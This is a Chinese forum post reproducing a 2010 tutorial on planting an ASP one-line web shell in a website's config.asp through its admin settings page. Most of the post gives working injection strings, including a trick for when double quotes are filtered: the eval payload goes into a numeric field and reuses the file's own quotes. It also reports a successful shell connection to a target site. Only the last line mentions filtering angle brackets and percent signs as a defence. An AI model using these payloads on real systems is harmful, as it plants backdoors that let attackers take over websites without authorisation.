追梦小子 發表於 2011-4-1 23:40:07

浅说双引号被过滤时一句话的插入与防范

一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。<br /><br />话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。<br /><br />网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是<br />webname=&ldquo;test website&rdquo;<br /><br />对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个&quot;,同时要插入一句话,语句可以这样<br /><br />&quot;%&gt;&lt;%eval request(&quot;d&quot;%&gt;&lt;%s=&quot;<br /><br />那么在config.asp中就是<br /><br />webname=&ldquo;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%&gt;&lt;%eval request(&quot;d&quot;%&gt;&lt;%s=&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&rdquo;<br /><br /><br />第一个&quot;是闭合前面的配置文件中的&quot;,%&gt;就是闭合前一段脚本,之后插入一句话&lt;%eval request(&quot;d&quot;%&gt;,现在要闭合原来的&quot;和%&gt;<br /><br />所以加入&lt;%s=&quot;,这里特别要注意&ldquo;s=&rdquo;,如果没有这个等号的话,那么就会成&lt;%&quot; &quot;,这样必将出错。<br /><br />好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入<br /><img border="0" alt="" src="https://img.jbzj.com/do/uploads/userup/1104/012343046362.jpg" width="815" height="450" /><br /><br />插入后,我们再点击&ldquo;网站设置&rdquo; ,出现错误<br /><br /><img border="0" alt="" src="https://img.jbzj.com/do/uploads/userup/1104/012343161348.jpg" width="815" height="451" /><br /><br />从这个错误,我们可以得到2个信息。<br /><br />第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp<br /><br />第二,网站名的变量为webname。<br /><br /><br />昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号&quot;,结合昨天的错误一看果然是,由于我们闭合前面双引号起&quot;的那个双引号收&quot;被过滤成单引号',所以就成了webname=&quot; ',这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。<br /><br />由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。<br /><br />在配置文件中,我们还可以看到这样一些设置<br /><br /><br /><img border="0" alt="" src="https://img.jbzj.com/do/uploads/userup/1104/0123432U215.jpg" width="541" height="362" /><br /><br />就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括<br />num=5<br />num是整数型,不然就成字符了num=&quot;5&quot;<br /><br />那么我们的一句话就可以这样构建,如图<br /><br /><img border="0" alt="" src="https://img.jbzj.com/do/uploads/userup/1104/012343424008.jpg" width="592" height="529" /><br /><br />在公告数中我们插入5%&gt;&lt;%eval request(webname)%&gt;&lt;%<br /><br />必须要有5,不然将会出错,在网站名中我们插入&quot;open&quot;<br /><br />由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下<br />&lt;%<br />....................<br />webname=&quot;open&quot;<br />num=5%&gt;&lt;%eval request(webname)%&gt;&lt;%<br />webnum=7<br />.......<br />%&gt;<br /><br />我们的一句话就相应为<br />eval request(&quot;open&quot;),open为密码。<br /><br />用菜刀成功连接<br /><img border="0" alt="" src="https://img.jbzj.com/do/uploads/userup/1104/01234402Q09.jpg" width="883" height="584" /><br /><br />从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。<br /><br />那么在网页设计方面,我们可以增加过滤&lt;,%,&gt;或者组合&lt;%,%&gt;这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。<br /><br />by daokers&nbsp;&nbsp;2010.4.28深夜于Canton
頁: [1]
查看完整版本: 浅说双引号被过滤时一句话的插入与防范